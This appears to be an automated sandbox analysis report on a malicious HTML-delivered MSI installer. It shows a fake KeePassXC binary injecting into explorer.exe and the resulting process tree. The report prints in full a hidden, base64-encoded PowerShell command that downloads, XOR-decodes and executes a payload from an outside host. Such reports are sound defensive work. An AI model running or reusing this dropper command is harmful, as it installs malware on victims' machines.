be4bb8b3a5255dcfd9f65de5f9249ad72a3f33db3aad1541936614e3917cb56b

Resubmissions

09/05/2024, 20:07

240509-yv94eafb63 10

09/05/2024, 20:04

240509-ytb5zsbh8v 6

Analysis

max time kernel
318s
max time network
326s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
09/05/2024, 20:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

view.html
Size

83KB
MD5

6b92c6775ae8f622ddb7235b14934094
SHA1

83d3c43d1e44e7d3059f6b89497d8e6d084db236
SHA256

be4bb8b3a5255dcfd9f65de5f9249ad72a3f33db3aad1541936614e3917cb56b
SHA512

ca9686c63e836045eb4eeae49e4a8bdf6fd921cbc13a7d969e9c3749617eb9ba3c3ff3e39763b9d0dae5d405c8ac18c83184af0d882e01e717ab0c1d41a39eb2
SSDEEP

1536:/6nzVs49wetijlbztQFKFwCo0W1Wh+1pE:Cl0jpt8z0b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://opensun.monster/2704e.bs64

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
186	1096	powershell.exe
187	1096	powershell.exe
199	3376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1096	powershell.exe
3376	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2156	KeePassXc.exe

Loads dropped DLL 44 IoCs

pid	Process
4080	MsiExec.exe
4080	MsiExec.exe
4080	MsiExec.exe
4080	MsiExec.exe
4080	MsiExec.exe
4080	MsiExec.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe
2156	KeePassXc.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\D:	msedge.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\F:	msedge.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
106	drive.google.com
107	drive.google.com
110	drive.google.com
84	drive.google.com
85	drive.google.com
86	drive.google.com
87	drive.google.com
92	drive.google.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2156 set thread context of 2836	2156	KeePassXc.exe	123

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e5b974b.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA72D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA819.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE7E2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9910.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA239.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA42E.tmp	msiexec.exe
File created	C:\Windows\Installer\e5b974f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5b974b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA4FA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A6A0A63A-C2B7-4C23-8CDB-C206FC93F142}	msiexec.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3808065738-1666277613-1125846146-1000\{9E43CF90-2BCB-45AB-9C5F-863B3F21CFBF}	msedge.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1096	powershell.exe
1096	powershell.exe
1096	powershell.exe
1656	msiexec.exe
1656	msiexec.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1844	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1844	msiexec.exe
Token: SeSecurityPrivilege	1656	msiexec.exe
Token: SeCreateTokenPrivilege	1844	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1844	msiexec.exe
Token: SeLockMemoryPrivilege	1844	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1844	msiexec.exe
Token: SeMachineAccountPrivilege	1844	msiexec.exe
Token: SeTcbPrivilege	1844	msiexec.exe
Token: SeSecurityPrivilege	1844	msiexec.exe
Token: SeTakeOwnershipPrivilege	1844	msiexec.exe
Token: SeLoadDriverPrivilege	1844	msiexec.exe
Token: SeSystemProfilePrivilege	1844	msiexec.exe
Token: SeSystemtimePrivilege	1844	msiexec.exe
Token: SeProfSingleProcessPrivilege	1844	msiexec.exe
Token: SeIncBasePriorityPrivilege	1844	msiexec.exe
Token: SeCreatePagefilePrivilege	1844	msiexec.exe
Token: SeCreatePermanentPrivilege	1844	msiexec.exe
Token: SeBackupPrivilege	1844	msiexec.exe
Token: SeRestorePrivilege	1844	msiexec.exe
Token: SeShutdownPrivilege	1844	msiexec.exe
Token: SeDebugPrivilege	1844	msiexec.exe
Token: SeAuditPrivilege	1844	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1844	msiexec.exe
Token: SeChangeNotifyPrivilege	1844	msiexec.exe
Token: SeRemoteShutdownPrivilege	1844	msiexec.exe
Token: SeUndockPrivilege	1844	msiexec.exe
Token: SeSyncAgentPrivilege	1844	msiexec.exe
Token: SeEnableDelegationPrivilege	1844	msiexec.exe
Token: SeManageVolumePrivilege	1844	msiexec.exe
Token: SeImpersonatePrivilege	1844	msiexec.exe
Token: SeCreateGlobalPrivilege	1844	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe
Token: SeTakeOwnershipPrivilege	1656	msiexec.exe
Token: SeRestorePrivilege	1656	msiexec.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
1844	msiexec.exe
1844	msiexec.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe
4756	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 4080	1656	msiexec.exe	119
PID 1656 wrote to memory of 4080	1656	msiexec.exe	119
PID 1656 wrote to memory of 4080	1656	msiexec.exe	119
PID 4080 wrote to memory of 1096	4080	MsiExec.exe	120
PID 4080 wrote to memory of 1096	4080	MsiExec.exe	120
PID 4080 wrote to memory of 1096	4080	MsiExec.exe	120
PID 1656 wrote to memory of 2156	1656	msiexec.exe	122
PID 1656 wrote to memory of 2156	1656	msiexec.exe	122
PID 1656 wrote to memory of 2156	1656	msiexec.exe	122
PID 2156 wrote to memory of 2836	2156	KeePassXc.exe	123
PID 2156 wrote to memory of 2836	2156	KeePassXc.exe	123
PID 2156 wrote to memory of 2836	2156	KeePassXc.exe	123
PID 2156 wrote to memory of 2836	2156	KeePassXc.exe	123
PID 2836 wrote to memory of 3376	2836	explorer.exe	124
PID 2836 wrote to memory of 3376	2836	explorer.exe	124
PID 3376 wrote to memory of 4756	3376	powershell.exe	126
PID 3376 wrote to memory of 4756	3376	powershell.exe	126
PID 4756 wrote to memory of 3880	4756	msedge.exe	127
PID 4756 wrote to memory of 3880	4756	msedge.exe	127
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128
PID 4756 wrote to memory of 3864	4756	msedge.exe	128

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\view.html
1⤵
PID:3588

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --mojo-platform-channel-handle=3844 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:1
1⤵
PID:1956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --mojo-platform-channel-handle=4780 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:1
1⤵
PID:4624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5416 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:3708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --mojo-platform-channel-handle=5388 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:1
1⤵
PID:3836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4044 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --no-appcompat-clear --mojo-platform-channel-handle=5536 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:2580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --mojo-platform-channel-handle=6016 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:1
1⤵
PID:3712

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --mojo-platform-channel-handle=5980 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:1
1⤵
PID:4308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5348 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:1992

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --no-appcompat-clear --mojo-platform-channel-handle=6140 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:4060

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --mojo-platform-channel-handle=4980 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:1
1⤵
PID:4448

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6668 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:3728

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=6820 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:2668

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1124

C:\Windows\System32\msiexec.exe
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Temp1_x64__x32___setup.zip\setup.msi"
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1844

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 82936C5CDD9F4B528E68FAE31D9F45DD
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pssA9EB.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msiA9D9.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scrA9DA.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scrA9DB.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1096
- C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\KeePassXc.exe
  "C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\KeePassXc.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\explorer.exe
    explorer.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AbwBwAGUAbgBzAHUAbgAuAG0AbwBuAHMAdABlAHIALwAyADcAMAA0AGUALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBoACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAbQAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAHAAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgB2ACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3376
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        5⤵
        Enumerates connected drives
        Checks processor information in registry
        Enumerates system info in registry
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4756
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.70 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=122.0.2365.52 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ffa08612e98,0x7ffa08612ea4,0x7ffa08612eb0
        6⤵
        
        PID:3880
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2308 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:2
        6⤵
        
        PID:3864
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=2820 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:3
        6⤵
        
        PID:32
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=3092 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:4912
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
